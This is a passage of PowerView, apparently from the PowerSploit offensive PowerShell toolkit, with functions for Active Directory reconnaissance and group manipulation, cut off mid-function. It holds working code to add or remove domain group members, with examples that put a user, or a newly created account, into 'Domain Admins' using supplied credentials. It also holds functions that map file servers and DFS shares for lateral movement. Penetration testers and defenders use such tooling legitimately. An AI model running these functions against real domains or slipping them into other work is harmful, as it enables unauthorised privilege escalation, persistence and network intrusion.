$Tombstone,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty,
|
|
|
|
[Switch]
|
|
$Raw
|
|
)
|
|
|
|
BEGIN {
|
|
$SearcherArguments = @{
|
|
'Properties' = 'msds-replvaluemetadata','distinguishedname'
|
|
'Raw' = $True
|
|
'LDAPFilter' = '(objectCategory=group)'
|
|
}
|
|
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
|
|
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
|
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
|
}
|
|
|
|
PROCESS {
|
|
if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
|
|
|
|
Get-DomainObject @SearcherArguments | ForEach-Object {
|
|
$ObjectDN = $_.Properties['distinguishedname'][0]
|
|
ForEach($XMLNode in $_.Properties['msds-replvaluemetadata']) {
|
|
$TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_VALUE_META_DATA' -ErrorAction SilentlyContinue
|
|
if ($TempObject) {
|
|
if (($TempObject.pszAttributeName -Match 'member') -and (($TempObject.dwVersion % 2) -eq 0 )) {
|
|
$Output = New-Object PSObject
|
|
$Output | Add-Member NoteProperty 'GroupDN' $ObjectDN
|
|
$Output | Add-Member NoteProperty 'MemberDN' $TempObject.pszObjectDn
|
|
$Output | Add-Member NoteProperty 'TimeFirstAdded' $TempObject.ftimeCreated
|
|
$Output | Add-Member NoteProperty 'TimeDeleted' $TempObject.ftimeDeleted
|
|
$Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange
|
|
$Output | Add-Member NoteProperty 'TimesAdded' ($TempObject.dwVersion / 2)
|
|
$Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN
|
|
$Output.PSObject.TypeNames.Insert(0, 'PowerView.DomainGroupMemberDeleted')
|
|
$Output
|
|
}
|
|
}
|
|
else {
|
|
Write-Verbose "[Get-DomainGroupMemberDeleted] Error retrieving 'msds-replvaluemetadata' for '$ObjectDN'"
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Add-DomainGroupMember {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Adds a domain user (or group) to an existing domain group, assuming
|
|
appropriate permissions to do so.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-PrincipalContext
|
|
|
|
.DESCRIPTION
|
|
|
|
First binds to the specified domain context using Get-PrincipalContext.
|
|
The bound domain context is then used to search for the specified -GroupIdentity,
|
|
which returns a DirectoryServices.AccountManagement.GroupPrincipal object. For
|
|
each entry in -Members, each member identity is similarly searched for and added
|
|
to the group.
|
|
|
|
.PARAMETER Identity
|
|
|
|
A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local),
|
|
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202)
|
|
specifying the group to add members to.
|
|
|
|
.PARAMETER Members
|
|
|
|
One or more member identities, i.e. SamAccountName (e.g. Group1), DistinguishedName
|
|
(e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114),
|
|
or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202).
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use to search for user/group principals, defaults to the current domain.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y'
|
|
|
|
Adds harmj0y to 'Domain Admins' in the current domain.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred
|
|
|
|
Adds harmj0y to 'Domain Admins' in the current domain using the alternate credentials.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred
|
|
|
|
Creates the 'andy' user with the specified description and password, using the specified
|
|
alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember
|
|
and the alternate credentials.
|
|
|
|
.LINK
|
|
|
|
http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, Mandatory = $True)]
|
|
[Alias('GroupName', 'GroupIdentity')]
|
|
[String]
|
|
$Identity,
|
|
|
|
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('MemberIdentity', 'Member', 'DistinguishedName')]
|
|
[String[]]
|
|
$Members,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
BEGIN {
|
|
$ContextArguments = @{
|
|
'Identity' = $Identity
|
|
}
|
|
if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }
|
|
|
|
$GroupContext = Get-PrincipalContext @ContextArguments
|
|
|
|
if ($GroupContext) {
|
|
try {
|
|
$Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($GroupContext.Context, $GroupContext.Identity)
|
|
}
|
|
catch {
|
|
Write-Warning "[Add-DomainGroupMember] Error finding the group identity '$Identity' : $_"
|
|
}
|
|
}
|
|
}
|
|
|
|
PROCESS {
|
|
if ($Group) {
|
|
ForEach ($Member in $Members) {
|
|
if ($Member -match '.+\\.+') {
|
|
$ContextArguments['Identity'] = ($Member -split '\\')[1]
|
|
$ContextArguments['Domain'] = ($Member -split '\\')[0]
|
|
$UserContext = Get-PrincipalContext @ContextArguments
|
|
if ($UserContext) {
|
|
$UserIdentity = $UserContext.Identity
|
|
}
|
|
}
|
|
else {
|
|
$UserContext = $GroupContext
|
|
$UserIdentity = $Member
|
|
}
|
|
Write-Verbose "[Add-DomainGroupMember] Adding member '$Member' to group '$Identity'"
|
|
$Member = [System.DirectoryServices.AccountManagement.Principal]::FindByIdentity($UserContext.Context, $UserIdentity)
|
|
$Group.Members.Add($Member)
|
|
$Group.Save()
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Remove-DomainGroupMember {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Removes a domain user (or group) from an existing domain group, assuming
|
|
appropriate permissions to do so.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-PrincipalContext
|
|
|
|
.DESCRIPTION
|
|
|
|
First binds to the specified domain context using Get-PrincipalContext.
|
|
The bound domain context is then used to search for the specified -GroupIdentity,
|
|
which returns a DirectoryServices.AccountManagement.GroupPrincipal object. For
|
|
each entry in -Members, each member identity is similarly searched for and removed
|
|
from the group.
|
|
|
|
.PARAMETER Identity
|
|
|
|
A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local),
|
|
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202)
|
|
specifying the group to remove members from.
|
|
|
|
.PARAMETER Members
|
|
|
|
One or more member identities, i.e. SamAccountName (e.g. Group1), DistinguishedName
|
|
(e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114),
|
|
or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202).
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use to search for user/group principals, defaults to the current domain.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Remove-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y'
|
|
|
|
Removes harmj0y from 'Domain Admins' in the current domain.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Remove-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred
|
|
|
|
Removes harmj0y from 'Domain Admins' in the current domain using the alternate credentials.
|
|
|
|
.LINK
|
|
|
|
http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, Mandatory = $True)]
|
|
[Alias('GroupName', 'GroupIdentity')]
|
|
[String]
|
|
$Identity,
|
|
|
|
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('MemberIdentity', 'Member', 'DistinguishedName')]
|
|
[String[]]
|
|
$Members,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
BEGIN {
|
|
$ContextArguments = @{
|
|
'Identity' = $Identity
|
|
}
|
|
if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }
|
|
|
|
$GroupContext = Get-PrincipalContext @ContextArguments
|
|
|
|
if ($GroupContext) {
|
|
try {
|
|
$Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($GroupContext.Context, $GroupContext.Identity)
|
|
}
|
|
catch {
|
|
Write-Warning "[Remove-DomainGroupMember] Error finding the group identity '$Identity' : $_"
|
|
}
|
|
}
|
|
}
|
|
|
|
PROCESS {
|
|
if ($Group) {
|
|
ForEach ($Member in $Members) {
|
|
if ($Member -match '.+\\.+') {
|
|
$ContextArguments['Identity'] = $Member
|
|
$UserContext = Get-PrincipalContext @ContextArguments
|
|
if ($UserContext) {
|
|
$UserIdentity = $UserContext.Identity
|
|
}
|
|
}
|
|
else {
|
|
$UserContext = $GroupContext
|
|
$UserIdentity = $Member
|
|
}
|
|
Write-Verbose "[Remove-DomainGroupMember] Removing member '$Member' from group '$Identity'"
|
|
$Member = [System.DirectoryServices.AccountManagement.Principal]::FindByIdentity($UserContext.Context, $UserIdentity)
|
|
$Group.Members.Remove($Member)
|
|
$Group.Save()
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-DomainFileServer {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Returns a list of servers likely functioning as file servers.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainSearcher
|
|
|
|
.DESCRIPTION
|
|
|
|
Returns a list of likely fileservers by searching for all users in Active Directory
|
|
with non-null homedirectory, scriptpath, or profilepath fields, and extracting/uniquifying
|
|
the server names.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the query, defaults to the current domain.
|
|
|
|
.PARAMETER LDAPFilter
|
|
|
|
Specifies an LDAP query string that is used to filter Active Directory objects.
|
|
|
|
.PARAMETER SearchBase
|
|
|
|
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
|
|
Useful for OU queries.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainFileServer
|
|
|
|
Returns active file servers for the current domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainFileServer -Domain testing.local
|
|
|
|
Returns active file servers for the 'testing.local' domain.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-DomainFileServer -Credential $Cred
|
|
|
|
.OUTPUTS
|
|
|
|
String
|
|
|
|
One or more strings representing file server names.
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType([String])]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainName', 'Name')]
|
|
[String[]]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('Filter')]
|
|
[String]
|
|
$LDAPFilter,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ADSPath')]
|
|
[String]
|
|
$SearchBase,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
BEGIN {
|
|
function Split-Path {
|
|
# short internal helper to split UNC server paths
|
|
Param([String]$Path)
|
|
|
|
if ($Path -and ($Path.split('\\').Count -ge 3)) {
|
|
$Temp = $Path.split('\\')[2]
|
|
if ($Temp -and ($Temp -ne '')) {
|
|
$Temp
|
|
}
|
|
}
|
|
}
|
|
|
|
$SearcherArguments = @{
|
|
'LDAPFilter' = '(&(samAccountType=805306368)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(|(homedirectory=*)(scriptpath=*)(profilepath=*)))'
|
|
'Properties' = 'homedirectory,scriptpath,profilepath'
|
|
}
|
|
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
|
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
|
}
|
|
|
|
PROCESS {
|
|
if ($PSBoundParameters['Domain']) {
|
|
ForEach ($TargetDomain in $Domain) {
|
|
$SearcherArguments['Domain'] = $TargetDomain
|
|
$UserSearcher = Get-DomainSearcher @SearcherArguments
|
|
# get all results w/o the pipeline and uniquify them (I know it's not pretty)
|
|
$(ForEach($UserResult in $UserSearcher.FindAll()) {if ($UserResult.Properties['homedirectory']) {Split-Path($UserResult.Properties['homedirectory'])}if ($UserResult.Properties['scriptpath']) {Split-Path($UserResult.Properties['scriptpath'])}if ($UserResult.Properties['profilepath']) {Split-Path($UserResult.Properties['profilepath'])}}) | Sort-Object -Unique
|
|
}
|
|
}
|
|
else {
|
|
$UserSearcher = Get-DomainSearcher @SearcherArguments
|
|
$(ForEach($UserResult in $UserSearcher.FindAll()) {if ($UserResult.Properties['homedirectory']) {Split-Path($UserResult.Properties['homedirectory'])}if ($UserResult.Properties['scriptpath']) {Split-Path($UserResult.Properties['scriptpath'])}if ($UserResult.Properties['profilepath']) {Split-Path($UserResult.Properties['profilepath'])}}) | Sort-Object -Unique
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-DomainDFSShare {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Returns a list of all fault-tolerant distributed file systems
|
|
for the current (or specified) domains.
|
|
|
|
Author: Ben Campbell (@meatballs__)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainSearcher
|
|
|
|
.DESCRIPTION
|
|
|
|
This function searches for all distributed file systems (either version
|
|
1, 2, or both depending on -Version X) by searching for domain objects
|
|
matching (objectClass=fTDfs) or (objectClass=msDFS-Linkv2), respectively
|
|
The server data is parsed appropriately and returned.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domains to use for the query, defaults to the current domain.
|
|
|
|
.PARAMETER SearchBase
|
|
|
|
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
|
|
Useful for OU queries.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainDFSShare
|
|
|
|
Returns all distributed file system shares for the current domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainDFSShare -Domain testlab.local
|
|
|
|
Returns all distributed file system shares for the 'testlab.local' domain.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-DomainDFSShare -Credential $Cred
|
|
|
|
.OUTPUTS
|
|
|
|
System.Management.Automation.PSCustomObject
|
|
|
|
A custom PSObject describing the distributed file systems.
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')]
|
|
[OutputType('System.Management.Automation.PSCustomObject')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainName', 'Name')]
|
|
[String[]]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ADSPath')]
|
|
[String]
|
|
$SearchBase,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty,
|
|
|
|
[ValidateSet('All', 'V1', '1', 'V2', '2')]
|
|
[String]
|
|
$Version = 'All'
|
|
)
|
|
|
|
BEGIN {
|
|
$SearcherArguments = @{}
|
|
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
|
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
|
|
|
function Parse-Pkt {
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Byte[]]
|
|
$Pkt
|
|
)
|
|
|
|
$bin = $Pkt
|
|
$blob_version = [bitconverter]::ToUInt32($bin[0..3],0)
|
|
$blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0)
|
|
$offset = 8
|
|
#https://msdn.microsoft.com/en-us/library/cc227147.aspx
|
|
$object_list = @()
|
|
for($i=1; $i -le $blob_element_count; $i++){
|
|
$blob_name_size_start = $offset
|
|
$blob_name_size_end = $offset + 1
|
|
$blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0)
|
|
|
|
$blob_name_start = $blob_name_size_end + 1
|
|
$blob_name_end = $blob_name_start + $blob_name_size - 1
|
|
$blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end])
|
|
|
|
$blob_data_size_start = $blob_name_end + 1
|
|
$blob_data_size_end = $blob_data_size_start + 3
|
|
$blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0)
|
|
|
|
$blob_data_start = $blob_data_size_end + 1
|
|
$blob_data_end = $blob_data_start + $blob_data_size - 1
|
|
$blob_data = $bin[$blob_data_start..$blob_data_end]
|
|
switch -wildcard ($blob_name) {
|
|
"\siteroot" { }
|
|
"\domainroot*" {
|
|
# Parse DFSNamespaceRootOrLinkBlob object. Starts with variable length DFSRootOrLinkIDBlob which we parse first...
|
|
# DFSRootOrLinkIDBlob
|
|
$root_or_link_guid_start = 0
|
|
$root_or_link_guid_end = 15
|
|
$root_or_link_guid = [byte[]]$blob_data[$root_or_link_guid_start..$root_or_link_guid_end]
|
|
$guid = New-Object Guid(,$root_or_link_guid) # should match $guid_str
|
|
$prefix_size_start = $root_or_link_guid_end + 1
|
|
$prefix_size_end = $prefix_size_start + 1
|
|
$prefix_size = [bitconverter]::ToUInt16($blob_data[$prefix_size_start..$prefix_size_end],0)
|
|
$prefix_start = $prefix_size_end + 1
|
|
$prefix_end = $prefix_start + $prefix_size - 1
|
|
$prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end])
|
|
|
|
$short_prefix_size_start = $prefix_end + 1
|
|
$short_prefix_size_end = $short_prefix_size_start + 1
|
|
$short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$short_prefix_size_end],0)
|
|
$short_prefix_start = $short_prefix_size_end + 1
|
|
$short_prefix_end = $short_prefix_start + $short_prefix_size - 1
|
|
$short_prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..$short_prefix_end])
|
|
|
|
$type_start = $short_prefix_end + 1
|
|
$type_end = $type_start + 3
|
|
$type = [bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0)
|
|
|
|
$state_start = $type_end + 1
|
|
$state_end = $state_start + 3
|
|
$state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0)
|
|
|
|
$comment_size_start = $state_end + 1
|
|
$comment_size_end = $comment_size_start + 1
|
|
$comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0)
|
|
$comment_start = $comment_size_end + 1
|
|
$comment_end = $comment_start + $comment_size - 1
|
|
if ($comment_size -gt 0) {
|
|
$comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end])
|
|
}
|
|
$prefix_timestamp_start = $comment_end + 1
|
|
$prefix_timestamp_end = $prefix_timestamp_start + 7
|
|
# https://msdn.microsoft.com/en-us/library/cc230324.aspx FILETIME
|
|
$prefix_timestamp = $blob_data[$prefix_timestamp_start..$prefix_timestamp_end] #dword lowDateTime #dword highdatetime
|
|
$state_timestamp_start = $prefix_timestamp_end + 1
|
|
$state_timestamp_end = $state_timestamp_start + 7
|
|
$state_timestamp = $blob_data[$state_timestamp_start..$state_timestamp_end]
|
|
$comment_timestamp_start = $state_timestamp_end + 1
|
|
$comment_timestamp_end = $comment_timestamp_start + 7
|
|
$comment_timestamp = $blob_data[$comment_timestamp_start..$comment_timestamp_end]
|
|
$version_start = $comment_timestamp_end + 1
|
|
$version_end = $version_start + 3
|
|
$version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0)
|
|
|
|
# Parse rest of DFSNamespaceRootOrLinkBlob here
|
|
$dfs_targetlist_blob_size_start = $version_end + 1
|
|
$dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3
|
|
$dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..$dfs_targetlist_blob_size_end],0)
|
|
|
|
$dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1
|
|
$dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1
|
|
$dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end]
|
|
$reserved_blob_size_start = $dfs_targetlist_blob_end + 1
|
|
$reserved_blob_size_end = $reserved_blob_size_start + 3
|
|
$reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0)
|
|
|
|
$reserved_blob_start = $reserved_blob_size_end + 1
|
|
$reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1
|
|
$reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end]
|
|
$referral_ttl_start = $reserved_blob_end + 1
|
|
$referral_ttl_end = $referral_ttl_start + 3
|
|
$referral_ttl = [bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0)
|
|
|
|
#Parse DFSTargetListBlob
|
|
$target_count_start = 0
|
|
$target_count_end = $target_count_start + 3
|
|
$target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0)
|
|
$t_offset = $target_count_end + 1
|
|
|
|
for($j=1; $j -le $target_count; $j++){
|
|
$target_entry_size_start = $t_offset
|
|
$target_entry_size_end = $target_entry_size_start + 3
|
|
$target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0)
|
|
$target_time_stamp_start = $target_entry_size_end + 1
|
|
$target_time_stamp_end = $target_time_stamp_start + 7
|
|
# FILETIME again or special if priority rank and priority class 0
|
|
$target_time_stamp = $dfs_targetlist_blob[$target_time_stamp_start..$target_time_stamp_end]
|
|
$target_state_start = $target_time_stamp_end + 1
|
|
$target_state_end = $target_state_start + 3
|
|
$target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0)
|
|
|
|
$target_type_start = $target_state_end + 1
|
|
$target_type_end = $target_type_start + 3
|
|
$target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0)
|
|
|
|
$server_name_size_start = $target_type_end + 1
|
|
$server_name_size_end = $server_name_size_start + 1
|
|
